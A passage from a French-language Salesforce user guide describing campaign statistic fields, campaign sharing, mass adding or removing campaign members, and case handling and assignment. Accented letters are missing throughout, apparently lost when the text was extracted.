de la liste associs dans la campagne. (Lecture seule).

Nombre Total Opportunits

Champ calcul indiquant le nombre d'opportunits associes

la campagne. (Lecture seule)Salesforce.com calcule
automatiquement ce montant en utilisant tous les
enregistrements associs, que vous y ayez accs ou non. Ce
champ ne peut pas tre rfrenc dans des formules pour les
rgles de workflow, les rgles de validation, les mises jour de

Campagnes

Champ

Guide de l'utilisateur | Champs de campagne | 1191

Description
champs ou les processus d'approbation, mais il peut tre
rfrenc dans des champs de formule personnaliss. Les mises
jour de ce champ ne dclenchent pas de rgles de workflow.

Nombre envoy

Nombre d'individus cibls par la campagne. Par exemple, le

nombre d'e-mails envoys.

Nombre d'opportunits gagnes

Champ calcul indiquant le nombre d'opportunits

closes/gagnes associes la campagne. (Lecture
seule)Salesforce.com calcule automatiquement ce montant en
utilisant tous les enregistrements associs, que vous y ayez
accs ou non. Ce champ ne peut pas tre rfrenc dans des
formules pour les rgles de workflow, les rgles de validation,
les mises jour de champs ou les processus d'approbation,
mais il peut tre rfrenc dans des champs de formule
personnaliss. Les mises jour de ce champ ne dclenchent
pas de rgles de workflow.

Campagne parente

La campagne suprieure la campagne slectionne dans la

hirarchie des campagnes.

Date de dbut

Date de dbut de la campagne.

Statut

Statut de la campagne : par exemple, Planifie, En cours.

L'entre est slectionne dans une liste de slection comprenant
les valeurs disponibles, lesquelles sont dfinies par
l'administrateur. La longueur maximale d'une valeur de liste
de slection est de 40 caractres.

Cot total rel dans la hirarchie

Champ calcul pour dterminer le montant dpens pour

excuter une hirarchie de campagnes. (Lecture
seule)Salesforce.com calcule automatiquement ce montant en
utilisant tous les enregistrements associs, que vous y ayez
accs ou non. Ce champ ne peut pas tre rfrenc dans des
formules pour les rgles de workflow, les rgles de validation,
les mises jour de champs ou les processus d'approbation,
mais il peut tre rfrenc dans des champs de formule
personnaliss. Les mises jour de ce champ ne dclenchent
pas de rgles de workflow.

Cot total budgtis dans la hirarchie

Champ calcul pour dterminer le montant total budgtis

d'une hirarchie de campagnes. (Lecture seule)Salesforce.com
calcule automatiquement ce montant en utilisant tous les
enregistrements associs, que vous y ayez accs ou non. Ce
champ ne peut pas tre rfrenc dans des formules pour les
rgles de workflow, les rgles de validation, les mises jour de
champs ou les processus d'approbation, mais il peut tre
rfrenc dans des champs de formule personnaliss. Les mises
jour de ce champ ne dclenchent pas de rgles de workflow.

Campagnes

Guide de l'utilisateur | Champs de campagne | 1192

Champ

Description

Total des contacts

Nombre d'individus sur les comptes associs la campagne.

Salesforce.com calcule automatiquement ce montant en
utilisant tous les enregistrements associs, que vous y ayez
accs ou non. Ce champ ne peut pas tre rfrenc dans des
formules pour les rgles de workflow, les rgles de validation,
les mises jour de champs ou les processus d'approbation,
mais il peut tre rfrenc dans des champs de formule
personnaliss. Les mises jour de ce champ ne dclenchent
pas de rgles de workflow.

Nombre total de contacts dans la hirarchie

Champ calcul indiquant le nombre de contacts associs la

hirarchie de la campagne. (Lecture seule)Salesforce.com
calcule automatiquement ce montant en utilisant tous les
enregistrements associs, que vous y ayez accs ou non. Ce
champ ne peut pas tre rfrenc dans des formules pour les
rgles de workflow, les rgles de validation, les mises jour de
champs ou les processus d'approbation, mais il peut tre
rfrenc dans des champs de formule personnaliss. Les mises
jour de ce champ ne dclenchent pas de rgles de workflow.

Nombre total de pistes converties dans la

hirarchie

Champ calcul indiquant le nombre total de pistes associes

la hirarchie de la campagne et converties en comptes,
contacts et opportunits. Salesforce.com calcule
automatiquement ce montant en utilisant tous les
enregistrements associs, que vous y ayez accs ou non. Ce
champ ne peut pas tre rfrenc dans des formules pour les
rgles de workflow, les rgles de validation, les mises jour de
champs ou les processus d'approbation, mais il peut tre
rfrenc dans des champs de formule personnaliss. Les mises
jour de ce champ ne dclenchent pas de rgles de workflow.

Chiffre d'affaire total prvu dans la

hirarchie

Champ calcul pour dterminer le montant total que vous

pensez gnrer d'une hirarchie de campagnes. (Lecture
seule)Salesforce.com calcule automatiquement ce montant en
utilisant tous les enregistrements associs, que vous y ayez
accs ou non. Ce champ ne peut pas tre rfrenc dans des
formules pour les rgles de workflow, les rgles de validation,
les mises jour de champs ou les processus d'approbation,
mais il peut tre rfrenc dans des champs de formule
personnaliss. Les mises jour de ce champ ne dclenchent
pas de rgles de workflow.

Total des pistes

Nombre d'opportunits potentielles (pistes) associes la

campagne. Salesforce.com calcule automatiquement ce
montant en utilisant tous les enregistrements associs, que
vous y ayez accs ou non. Ce champ ne peut pas tre rfrenc
dans des formules pour les rgles de workflow, les rgles de
validation, les mises jour de champs ou les processus
d'approbation, mais il peut tre rfrenc dans des champs de

Campagnes

Champ

Guide de l'utilisateur | Champs de campagne | 1193

Description
formule personnaliss. Les mises jour de ce champ ne
dclenchent pas de rgles de workflow.

Nombre total de pistes dans la hirarchie

Champ calcul pour dterminer le nombre total de pistes

associes la hirarchie de campagnes. Ce nombre inclut
galement les pistes converties. (Lecture seule)Salesforce.com
calcule automatiquement ce montant en utilisant tous les
enregistrements associs, que vous y ayez accs ou non. Ce
champ ne peut pas tre rfrenc dans des formules pour les
rgles de workflow, les rgles de validation, les mises jour de
champs ou les processus d'approbation, mais il peut tre
rfrenc dans des champs de formule personnaliss. Les mises
jour de ce champ ne dclenchent pas de rgles de workflow.

Nombre total envoy dans la hirarchie

Champ calcul pour dterminer le nombre total de personnes

cibles par une hirarchie de campagnes, tel que le nombre
d'e-mails envoys. (Lecture seule)Salesforce.com calcule
automatiquement ce montant en utilisant tous les
enregistrements associs, que vous y ayez accs ou non. Ce
champ ne peut pas tre rfrenc dans des formules pour les
rgles de workflow, les rgles de validation, les mises jour de
champs ou les processus d'approbation, mais il peut tre
rfrenc dans des champs de formule personnaliss. Les mises
jour de ce champ ne dclenchent pas de rgles de workflow.

Nombre total d'opportunits dans la

hirarchie

Champ calcul indiquant le nombre total d'opportunits

associes la hirarchie de la campagne. (Lecture
seule)Salesforce.com calcule automatiquement ce montant en
utilisant tous les enregistrements associs, que vous y ayez
accs ou non. Ce champ ne peut pas tre rfrenc dans des
formules pour les rgles de workflow, les rgles de validation,
les mises jour de champs ou les processus d'approbation,
mais il peut tre rfrenc dans des champs de formule
personnaliss. Les mises jour de ce champ ne dclenchent
pas de rgles de workflow.

Nombre total de rponses

Champ calcul indiquant le nombre total de contacts et de

pistes non converties possdant un statut du membre
quivalent Rpondu pour la campagne. (Lecture
seule)Salesforce.com calcule automatiquement ce montant en
utilisant tous les enregistrements associs, que vous y ayez
accs ou non. Ce champ ne peut pas tre rfrenc dans des
formules pour les rgles de workflow, les rgles de validation,
les mises jour de champs ou les processus d'approbation,
mais il peut tre rfrenc dans des champs de formule
personnaliss. Les mises jour de ce champ ne dclenchent
pas de rgles de workflow.

Campagnes

Guide de l'utilisateur | Champs de campagne | 1194

Champ

Description

Nombre total de rponses dans la hirarchie

Champ calcul indiquant le nombre total de contacts et de

pistes non converties possdant un statut du membre
quivalent Rpondu pour la hirarchie de la campagne.
(Lecture seule)Salesforce.com calcule automatiquement ce
montant en utilisant tous les enregistrements associs, que
vous y ayez accs ou non. Ce champ ne peut pas tre rfrenc
dans des formules pour les rgles de workflow, les rgles de
validation, les mises jour de champs ou les processus
d'approbation, mais il peut tre rfrenc dans des champs de
formule personnaliss. Les mises jour de ce champ ne
dclenchent pas de rgles de workflow.

Valeur totale des opportunits

Champ calcul indiquant le nombre total d'opportunits

associes la campagne, y compris les opportunits
closes/gagnes. (Lecture seule)Salesforce.com calcule
automatiquement ce montant en utilisant tous les
enregistrements associs, que vous y ayez accs ou non.
Pour les entreprises utilisant plusieurs devises, les montants
des opportunits sont convertis dans la devise de la campagne.
Si votre devise ne correspond pas la devise de la campagne,
le montant est converti dans votre devise et s'affiche entre
parenthses.
Pour les entreprises utilisant la gestion avance des devises, le
montant des opportunits est converti dans la devise de la
campagne via des taux de change dats. Si la devise de la
campagne ne correspond pas votre devise, le total des
montants des opportunits est converti l'aide des taux de
change standard et non de taux de change dats, et ce montant
s'affiche entre parenthses.
Ce champ ne peut pas tre rfrenc dans des formules pour
les rgles de workflow, les rgles de validation, les mises jour
de champs ou les processus d'approbation, mais il peut tre
rfrenc dans des champs de formule personnaliss. Les mises
jour de ce champ ne dclenchent pas de rgles de workflow.

Valeur totale des opportunits dans la

hirarchie

Champ calcul indiquant le montant total des opportunits

associes la hirarchie de la campagne, y compris les
opportunits closes/gagnes. (Lecture seule)Salesforce.com
calcule automatiquement ce montant en utilisant tous les
enregistrements associs, que vous y ayez accs ou non.
Toutes les campagnes d'une hirarchie doivent utiliser la mme
devise.
Pour les entreprises utilisant plusieurs devises, les montants
des opportunits sont convertis dans la devise de la campagne.
Si votre devise ne correspond pas la devise de la campagne,

Campagnes

Champ

Guide de l'utilisateur | Champs de campagne | 1195

Description
le montant est converti dans votre devise et s'affiche entre
parenthses.
Pour les entreprises utilisant la gestion avance des devises, le
montant des opportunits est converti dans la devise de la
campagne via des taux de change dats. Si la devise de la
campagne ne correspond pas votre devise, le total des
montants des opportunits est converti l'aide des taux de
change standard et non de taux de change dats, et ce montant
s'affiche entre parenthses.

Valeur totale des opportunits gagnes

Champ calcul indiquant le montant de toutes les opportunits

closes/gagnes associes la campagne. (Lecture
seule)Salesforce.com calcule automatiquement ce montant en
utilisant tous les enregistrements associs, que vous y ayez
accs ou non.
Pour les entreprises utilisant plusieurs devises, les montants
des opportunits sont convertis dans la devise de la campagne.
Si votre devise ne correspond pas la devise de la campagne,
le montant est converti dans votre devise.
Pour les entreprises utilisant la gestion avance des devises, le
montant des opportunits est converti dans la devise de la
campagne via des taux de change dats. Si la devise de la
campagne ne correspond pas votre devise, le total des
montants des opportunits est converti l'aide des taux de
change standard et non de taux de change dats, et ce montant
s'affiche entre parenthses.
Ce champ ne peut pas tre rfrenc dans des formules pour
les rgles de workflow, les rgles de validation, les mises jour
de champs ou les processus d'approbation, mais il peut tre
rfrenc dans des champs de formule personnaliss. Les mises
jour de ce champ ne dclenchent pas de rgles de workflow.

Valeur totale des opportunits gagnes dans

la hirarchie

Champ calcul indiquant le montant de toutes les opportunits

closes/gagnes associes la hirarchie de la campagne.
(Lecture seule)Salesforce.com calcule automatiquement ce
montant en utilisant tous les enregistrements associs, que
vous y ayez accs ou non.
Toutes les campagnes d'une hirarchie doivent utiliser la mme
devise.
Pour les entreprises utilisant plusieurs devises, les montants
des opportunits sont convertis dans la devise de la campagne.
Si votre devise ne correspond pas la devise de la campagne,
le montant est converti dans votre devise.
Pour les entreprises utilisant la gestion avance des devises, le
montant des opportunits est converti dans la devise de la

Campagnes

Guide de l'utilisateur | Champs de campagne | 1196

Champ

Description
campagne via des taux de change dats. Si la devise de la
campagne ne correspond pas votre devise, le total des
montants des opportunits est converti l'aide des taux de
change standard et non de taux de change dats, et ce montant
s'affiche entre parenthses.
Ce champ ne peut pas tre rfrenc dans des formules pour
les rgles de workflow, les rgles de validation, les mises jour
de champs ou les processus d'approbation, mais il peut tre
rfrenc dans des champs de formule personnaliss. Les mises
jour de ce champ ne dclenchent pas de rgles de workflow.

Nombre total d'opportunits gagnes dans la

hirarchie

Champ calcul indiquant le nombre total d'opportunits

gagnes associes la hirarchie de la campagne.
Salesforce.com calcule automatiquement ce montant en
utilisant tous les enregistrements associs, que vous y ayez
accs ou non. Ce champ ne peut pas tre rfrenc dans des
formules pour les rgles de workflow, les rgles de validation,
les mises jour de champs ou les processus d'approbation,
mais il peut tre rfrenc dans des champs de formule
personnaliss. Les mises jour de ce champ ne dclenchent
pas de rgles de workflow.

Type

Type de campagne, par exemple courrier direct ou programme

de rfrencement. L'entre est slectionne dans une liste de
slection comprenant les valeurs disponibles, lesquelles sont
dfinies par l'administrateur. La longueur maximale d'une
valeur de liste de slection est de 40 caractres.

Voir aussi :
Affichage et modification de campagnes

Campagnes

Guide de l'utilisateur | Partage des campagnes | 1197

Partage des campagnes

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour afficher des campagnes :

Autorisation de lecture sur les campagnes

Pour partager des campagnes :

Autorisation de lecture sur les campagnes

AND
Option Utilisateur Marketing active dans vos
informations d'utilisateur

L'administrateur dfinit le modle de partage de votre entreprise pour l'accs aux campagnes. Vous pouvez cependant tendre
les privilges de partage des campagnes de manire individuelle. Le partage de campagnes vous permet d'augmenter l'accs
vos campagnes. Vous ne pouvez pas restreindre l'accs au-del des niveaux d'accs par dfaut de votre entreprise.
Pour afficher et grer les dtails du partage, cliquez sur Partage dans la page de dtails de la campagne. Cette page rpertorie
les utilisateurs, les groupes, les rles et les territoires qui disposent d'un accs partag la campagne. Cette page permet
d'effectuer les oprations suivantes :

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Ajouter pour accorder un accs l'enregistrement aux autres utilisateurs, groupes, rles ou territoires.
Cliquez sur Dvelopper la liste pour afficher tous les utilisateurs qui disposent de l'accs l'enregistrement.
Pour les rgles de partage manuelles que vous crez, cliquez sur Modifier ou Suppr en regard d'un lment de la liste afin
de modifier ou de supprimer le niveau d'accs.

Observations particulires

Pour partager une campagne, vous devez disposer d'un Accs public intgral la campagne et avoir coch la case
Utilisateur marketing dans vos informations personnelles.
Le bouton Partage est disponible en fonction de la valeur par dfaut de la campagne, dfinie dans votre entreprise.
Assurez-vous que vous partagez les enregistrements avec des utilisateurs dont le profil est dot de l'autorisation de lecture
de l'objet qui convient pour afficher les enregistrements partags.
Partager une campagne ne donne pas automatiquement un accs en lecture tous les membres de la campagne. Assurez-vous
que l'utilisateur avec qui vous partagez une campagne peut consulter les pistes ou contacts associs.
Les champs statistiques de hirarchie de campagnes fournissent des donnes totalises pour une campagne parent et toutes
les campagnes situes au-dessous dans la hirarchie, que l'utilisateur dispose ou non de droits de partage sur une campagne
spcifique au sein de cette hirarchie. Par consquent, tenez compte des paramtres de partage de campagne de votre
entreprise lorsque vous activez les statistiques des hirarchies de campagnes. Si vous ne voulez pas que les utilisateurs voient

Campagnes

Guide de l'utilisateur | Partage des campagnes | 1198

les donnes synthtises de la hirarchie, supprimez de la liste associe Hirarchie de campagnes tout ou partie des champs
statistiques de hirarchie de campagnes. Ces champs seront toujours disponibles pour gnrer des rapports.

Voir aussi :
Octroi d'accs aux enregistrements
Affichage des utilisateurs bnficiant de droits d'accs
Affichage des hirarchies de campagnes
Autorisations utilisateurs sur les profils
Affichage des statistiques de hirarchie de campagnes

Campagnes

Guide de l'utilisateur | Ajout en masse de contacts ou de pistes une campagne | 1199

Ajout en masse de contacts ou de pistes une campagne

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour ajouter plusieurs contacts existants une campagne :

Option Utilisateur Marketing active dans vos

informations d'utilisateur
AND
Autorisation de modification sur les campagnes
AND
Autorisation de lecture sur les contacts

Pour ajouter plusieurs pistes existantes une campagne :

Option Utilisateur Marketing active dans vos

informations d'utilisateur
AND
Autorisation de modification sur les campagnes
AND
Autorisation de lecture sur les pistes

Pour ajouter plusieurs comptes personnels une campagne : Option Utilisateur Marketing active dans vos
informations d'utilisateur
AND
Autorisation de modification sur les campagnes
AND
Autorisation de lecture sur les contacts

Pour ajouter des pistes, des contacts ou des comptes personnels existants une campagne partir d'une page de dtails de
campagne :
1.
2.
3.
4.

Affichez la campagne que vous voulez mettre jour.

Cliquez sur Grer les membres.
Cliquez sur Ajouter des membres Contacts existants ou Ajouter des membres Pistes existantes.
Dans la premire tape de l'assistant, choisissez la valeur de statut de membre de campagne attribuer aux nouveaux
membres.
Le nom de la campagne dont vous venez est automatiquement indiqu.

5. Cliquez sur Suivant.

6. Dans la seconde tape de l'assistant, la liste des membres potentiels non associs votre campagne apparat.

Campagnes

Guide de l'utilisateur | Suppression massive de contacts ou de pistes d'une campagne | 1200

a. Cochez les cases correspondant aux enregistrements slectionner. Vous pouvez galement cocher la case situe en
regard de l'en-tte de colonne afin de slectionner tous les lments actuellement affichs. Jusqu' 250 enregistrements
peuvent tre simultanment affichs sur la page.
b. Cliquez sur Ajouter la campagne. Cette action enregistre immdiatement ces individus en tant que membres de
campagne avec le statut slectionn.
c. Cliquez sur les liens de lettre ou les liens Page suivante et Page prcdente pour visualiser d'autres pages de liste, puis
continuez ajouter des membres de la mme manire.
Remarque: Un message de confirmation indique le nombre total de membres ajouts durant cette session de
l'assistant. Les membres dj ajouts au cours de cette session sont accompagns d'une coche lecture seule .
d. Vous pouvez ventuellement modifier l'affichage en choisissant une autre vue de liste ou en crant une vue de liste.
Vous pouvez dfinir des vues de liste personnalises qui limitent les rsultats en fonction du nom de la campagne et
galement, de faon facultative, en fonction du statut du membre. Reportez-vous Cration de vues Listes personnalises
la page 1538.
7. Une fois que vous avez ajout tous les membres souhaits votre campagne, cliquez sur Termin pour quitter l'assistant.

Suppression massive de contacts ou de pistes d'une

campagne
Disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
Disponible moyennant un cot supplmentaire dans : Professional Edition

Autorisations utilisateur requises

Pour supprimer plusieurs contacts existants d'une campagne : Option Utilisateur Marketing active dans vos
informations d'utilisateur
AND
Autorisation de modification sur les campagnes
AND
Autorisation de lecture sur les contacts
Pour supprimer plusieurs pistes existantes d'une campagne :

Option Utilisateur Marketing active dans vos

informations d'utilisateur
AND
Autorisation de modification sur les campagnes
AND
Autorisation de lecture sur les pistes

Pour supprimer des contacts, des pistes ou des comptes personnels d'une campagne :

Campagnes

1.
2.
3.
4.

Guide de l'utilisateur | Suppression massive de contacts ou de pistes d'une campagne | 1201

Affichez la page des informations de la campagne mettre jour.

Cliquez sur Grer les membres.
Cliquez sur Supprimer des membres Contacts existants ou Supprimer des membres Pistes existantes.
Choisissez les membres supprimer de la campagne :
a. Cochez les cases correspondant aux enregistrements slectionner. Vous pouvez galement cocher la case situe en
regard de l'en-tte de colonne afin de slectionner tous les lments actuellement affichs. Jusqu' 250 enregistrements
peuvent tre simultanment affichs sur la page.
b. Cliquez sur Supprimer de la campagne.
c. Cliquez sur les liens alphabtiques ou les liens Page suivante et Page prcdente pour visualiser d'autres pages de liste,
puis continuez supprimer les membres de la mme manire.
Remarque: Un message de confirmation indique le nombre total de membres supprims au cours la session
de l'assistant. Les membres dj supprims au cours de la session sont signals par une coche d'accs en lecture
seule.
d. Vous pouvez ventuellement modifier l'affichage en choisissant une autre vue de liste ou en crant une vue de liste.
Vous pouvez dfinir des vues de liste personnalises qui limitent les rsultats en fonction du nom de la campagne et
galement, de faon facultative, en fonction du statut du membre. Reportez-vous Cration de vues Listes personnalises
la page 1538.

5. Une fois que vous avez supprim les membres de la campagne, cliquez sur Termin pour quitter l'assistant.

Requtes
Prsentation des requtes
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Une requte est la description d'un commentaire, problme ou d'une question relative un client. Permet de suivre et rsoudre
les problmes des clients. Vous pouvez saisir des requtes manuellement sous l'onglet Requtes. Pour recueillir les commentaires
de clients depuis le site Web et les e-mails des clients de votre socit, configurez :

Web vers requte

E-mail vers requte ou E-mail vers requte la demande

Vos clients peuvent galement crer des requtes sur votre portail libre-service ou votre portail client.
L'onglet Requtes permet de crer, modifier, localiser et afficher rapidement des requtes. Vous pouvez galement trier et
filtrer les requtes l'aide de vues de liste personnalises et standard. Les organisations Professional Edition, Enterprise Edition,
Unlimited Edition et Developer Edition peuvent activer la console afin de rapidement rechercher, afficher et modifier des
requtes et les enregistrements associs sur un mme cran. Reportez-vous Qu'est-ce que la console ? la page 1238.

Voir aussi :
Page d'accueil des requtes
Qu'est-ce que la console ?
Guide de configuration de l'administrateur Guide de mise en uvre de la gestion de requtes

Page d'accueil des requtes

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Requte :

Autorisation de lecture sur les requtes

Pour afficher des requtes :

Autorisation de lecture sur les requtes

Pour crer des requtes :

Autorisation de cration sur les requtes

Un clic sur l'onglet Requtes affiche la page d'accueil des requtes.

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.

Requtes

Guide de l'utilisateur | Page d'accueil des requtes | 1203

Pour afficher les requtes places dans une file d'attente, slectionnez cette liste de file d'attente dans la liste droulante.
Pour chaque file d'attente que votre administrateur cre, Salesforce.com ajoute une vue de liste de file d'attente
correspondante.
Remarque: Le modle de partage l'chelle de l'organisation d'objet dtermine l'accs des utilisateurs aux
enregistrements de cet objet dans les files d'attente :
Accs public en lecture/criture/Transfert
Les utilisateurs peuvent afficher et rendre la responsabilit d'enregistrements de n'importe quelle file d'attente.
Accs public en lecture/criture ou Accs public en lecture seule
Les utilisateurs peuvent afficher n'importe quelle file d'attente mais peuvent prendre la responsabilit
uniquement d'enregistrements de files d'attente dont ils sont membres ou, selon les paramtres de partage,
s'ils se situent un niveau suprieur qu'un membre de la file d'attente dans la hirarchie des rles ou des
territoires.
Priv
Les utilisateurs peuvent uniquement afficher et accepter des enregistrements de files d'attente dont ils sont
membres ou, selon les paramtres de partage, s'ils se situent un niveau suprieur qu'un membre de la file
d'attente dans la hirarchie des rles ou des territoires.
Quel que soit le modle de partage, les utilisateurs doivent avoir l'autorisation Modifier pour prendre la responsabilit
d'enregistrements des files d'attente desquelles ils sont membres. Les administrateurs et utilisateurs disposant de
l'autorisation au niveau de l'objet Modifier tout' pour les requtes et les utilisateurs disposant de l'autorisation
Modifier toutes les donnes peuvent afficher et extraire des enregistrements de toutes les files d'attente, quel que
soit le modle de partage ou leur appartenance la file d'attente.

Dans les entreprises Professional Edition, Enterprise Edition, Unlimited Edition ou Developer Edition qui ont configur
la console de manire ce qu'elle inclue les requtes, cliquez sur l'onglet Console pour afficher la console. Cette dernire
permet de rechercher, d'afficher et de modifier des requtes et les enregistrements associs sur un seul et mme cran.
Reportez-vous Affichage de la console la page 1245.

Dans la section Requtes rcentes, slectionnez un lment de la liste droulante pour afficher une liste rduite des requtes
correspondant le mieux ce critre. Dans cette liste, vous pouvez cliquer sur le nom de la requte dont vous souhaitez
afficher les dtails. Cliquez alternativement sur les liens Afficher 25 lments et Afficher 10 lments pour changer le
nombre d'lments affichs. Les champs que vous voyez apparatre dpendent de la prsentation de recherche de l'onglet
Requtes dfinie par l'administrateur et des paramtres de scurit relatifs aux champs (disponibles exclusivement dans
Enterprise Edition, Unlimited Edition et Developer Edition). Voici les options disponibles pour les requtes rcentes :
Option

Description

Mes lments en cours

Les dix ou vingt-cinq dernires requtes en cours dont vous

tes responsable, en commenant par la plus ancienne. Cette
liste ne contient que les enregistrements dont vous tes
responsable.

Affich rcemment

Les dix ou vingt-cinq dernires requtes que vous avez

affiches, en commenant par la requte consulte le plus
rcemment. Cette liste provient des lments rcents et
contient les enregistrements dont vous tes responsable et
ceux des autres utilisateurs.

Requtes

Guide de l'utilisateur | Attribution de requtes | 1204

Dans la section Requtes rcentes, cliquez sur Nouveau pour crer une requte.
Sous Rapports, cliquer sur le nom du rapport que vous souhaitez afficher.
Si vous utilisez Professional Edition, Enterprise Edition, Unlimited Edition ou Developer Edition, slectionnez un des
liens sous Outils des requtes pour accder aux utilitaires de gestion de vos requtes.
Si des requtes sont partages avec des contacts externes via 100% Salesforce, choisissez l'une des vues de liste sous Requtes
partir des connexions pour afficher les requtes que vos partenaires professionnels ont partages avec vous.

Voir aussi :
Prsentation des requtes
Affichage et modification de requtes
Clture de requtes
Cration de vues Listes personnalises
Qu'est-ce que la console ?

Attribution de requtes
Les options d'attribution de requtes varient selon votre dition de Salesforce.com.

Autorisations utilisateur requises

Pour afficher des requtes :

Autorisation de lecture sur les requtes

Pour devenir responsable de requtes situes dans des files

d'attente :

Autorisation de modification sur les requtes

Vous pouvez attribuer des requtes des utilisateurs ou des files d'attente de plusieurs faons.

Utilisation d'une rgle d'attribution pour Web vers requte, E-mail vers requte ou E-mail vers requte la demande
Si vous utilisez Professional Edition, Enterprise Edition, Unlimited Edition ou Developer Edition, les requtes gnres
sur le Web ou par e-mail sont automatiquement attribues aux utilisateurs ou files d'attente en fonction des critres de la
rgle d'attribution de requte active. (Reportez-vous Gestion des rgles d'attribution la page 619.)
Les requtes ne correspondant pas aux critres de la rgle d'attribution sont automatiquement attribues au responsable
de requte par dfaut spcifi dans les paramtres de support.

Utilisation d'une rgle d'attribution lors de la cration ou de la modification d'une requte

Si vous utilisez Professional Edition, Enterprise Edition, Unlimited Edition ou Developer Edition, lors de la cration ou
de la modification d'une requte, vous pouvez cocher une case spcifique pour attribuer automatiquement la requte selon
la rgle d'attribution en vigueur. Un e-mail est automatiquement envoy au nouveau responsable de la requte si votre
administrateur a spcifi un modle de message dans l'entre de rgle correspondante. L'administrateur peut modifier la
prsentation de page pour que cette case d'option soit slectionne par dfaut.

Modification de la responsabilit de plusieurs requtes (rserv aux administrateurs)

Requtes

Guide de l'utilisateur | Attribution de requtes | 1205

Depuis n'importe quelle page de liste de requte, un administrateur, ou un utilisateur autoris grer les requtes, peut
attribuer manuellement une ou plusieurs requtes un seul utilisateur ou une seule file d'attente. Reportez-vous
Modification de plusieurs requtes la page 1210.

Extraction de requtes d'une file d'attente

Pour devenir le responsable d'une ou de plusieurs requtes d'une file d'attente, affichez la vue de liste de la file d'attente,
cochez la case correspondant aux requtes concernes, puis cliquez sur Accepter. Reportez-vous Modification de plusieurs
requtes la page 1210.
Remarque: Le modle de partage l'chelle de l'organisation d'objet dtermine l'accs des utilisateurs aux
enregistrements de cet objet dans les files d'attente :
Accs public en lecture/criture/transfert
Les utilisateurs peuvent afficher et rendre la responsabilit d'enregistrements de n'importe quelle file d'attente.
Accs public en lecture/criture ou Accs public en lecture seule
Les utilisateurs peuvent afficher n'importe quelle file d'attente mais peuvent prendre la responsabilit
uniquement d'enregistrements de files d'attente dont ils sont membres ou, selon les paramtres de partage,
s'ils se situent un niveau suprieur qu'un membre de la file d'attente dans la hirarchie des rles ou des
territoires.
Priv
Les utilisateurs peuvent uniquement afficher et accepter des enregistrements de files d'attente dont ils sont
membres ou, selon les paramtres de partage, s'ils se situent un niveau suprieur qu'un membre de la file
d'attente dans la hirarchie des rles ou des territoires.
Quel que soit le modle de partage, les utilisateurs doivent disposer de l'autorisation de modification pour s'approprier
les enregistrements provenant de files d'attente dont ils sont membres. Les administrateurs et utilisateurs disposant
de l'autorisation au niveau de l'objet Modifier tout' pour les requtes et les utilisateurs disposant de l'autorisation
Modifier toutes les donnes peuvent afficher et extraire des enregistrements de toutes les files d'attente, quel que
soit le modle de partage ou leur appartenance la file d'attente.

Modification de la responsabilit d'une requte

Pour transfrer la responsabilit d'une seule requte, cliquez sur Modifier en regard du champ Responsable de la
requte sur la page de dtails de la requte, puis spcifiez un utilisateur, un utilisateur partenaire ou une file d'attente.
Vrifiez que le nouveau responsable est dot de l'autorisation de lecture sur les requtes. Le lien Modifier affiche uniquement
la page de dtails et non la page de modification.
Si vous utilisez Professional Edition, Enterprise Edition, Unlimited Edition ou Developer Edition, cochez la case Envoyer
une notification par e-mail pour envoyer automatiquement un e-mail au nouveau responsable de la requte. Le
modle de cet e-mail est dfini dans les paramtres de support.

Cration manuelle d'une requte (attribution par dfaut)

Requtes

Guide de l'utilisateur | Attribution de requtes | 1206

Lorsque vous crez une requte partir de l'onglet Requtes, vous tes automatiquement rpertori comme son responsable,
sauf si vous cochez la case permettant d'attribuer la requte via votre rgle d'attribution.

Voir aussi :
Affichage et modification de requtes
Modification de plusieurs requtes
Activation de requtes dans le Portail partenaire
Attribution de requtes dans le Portail partenaire

Activation de requtes dans le Portail partenaire

Disponible avec : Enterprise Edition et Unlimited Edition

Autorisations utilisateur requises

Pour activer des requtes pour des utilisateurs partenaires :

Grer les utilisateurs

Lorsque vous activez des requtes dans le portail partenaire, vous pouvez attribuer des requtes des utilisateurs partenaires
directement ou en utilisant des rgles d'attribution ou de hirarchisation. Les utilisateurs partenaires peuvent modifier des
requtes, crer des requtes, ajouter des commentaires de requte, rattribuer des requtes, trouver des solutions des requtes
et crer des quipes de requtes. Les utilisateurs partenaires ne peuvent pas modifier des commentaires de requte ou associer
des actifs des requtes.
Remarque: L'onglet Requtes n'est disponible que pour les utilisateurs partenaires disposant d'une licence Partenaire
Gold ou Partenaire.
Pour activer des requtes dans le portail partenaire :
1. Ajoutez l'onglet Requtes la liste des onglets disponibles dans le portail partenaire.
2. Dans le profil utilisateur partenaire, vrifiez que le paramtre de l'onglet standard requtes est dfini Valeur par
dfaut active.
3. Dans le profil utilisateur partenaire, activez les autorisations d'objet standard Lire, Crer et Modifier pour les requtes.
Aprs avoir activ des requtes dans le portail partenaire, notez les conseils suivants :

Spcifiez un modle de cration de requtes dans Configuration Requtes Paramtres de support afin de permettre
aux utilisateurs partenaires d'envoyer une notification par e-mail aux nouveaux contacts attribus des requtes.
Configurez des rles d'quipe de requtes dans Configuration Personnalisation Requtes Equipes de requtes
Rles d'quipe de requtes afin de permettre aux partenaires d'ajouter des membres d'quipes de requtes.

Requtes

Guide de l'utilisateur | Attribution de requtes | 1207

Lors de l'affichage d'un e-mail associ une requte, les liens Liste des e-mails, Suivant et Prcdent ne sont pas disponibles
pour les utilisateurs du portail.

Voir aussi :
Prsentation du portail partenaire
Prsentation des requtes
Personnalisation des paramtres de support
Dfinition des rles dune quipe de requtes
Prdfinition dquipes de requtes

Attribution de requtes dans le Portail partenaire

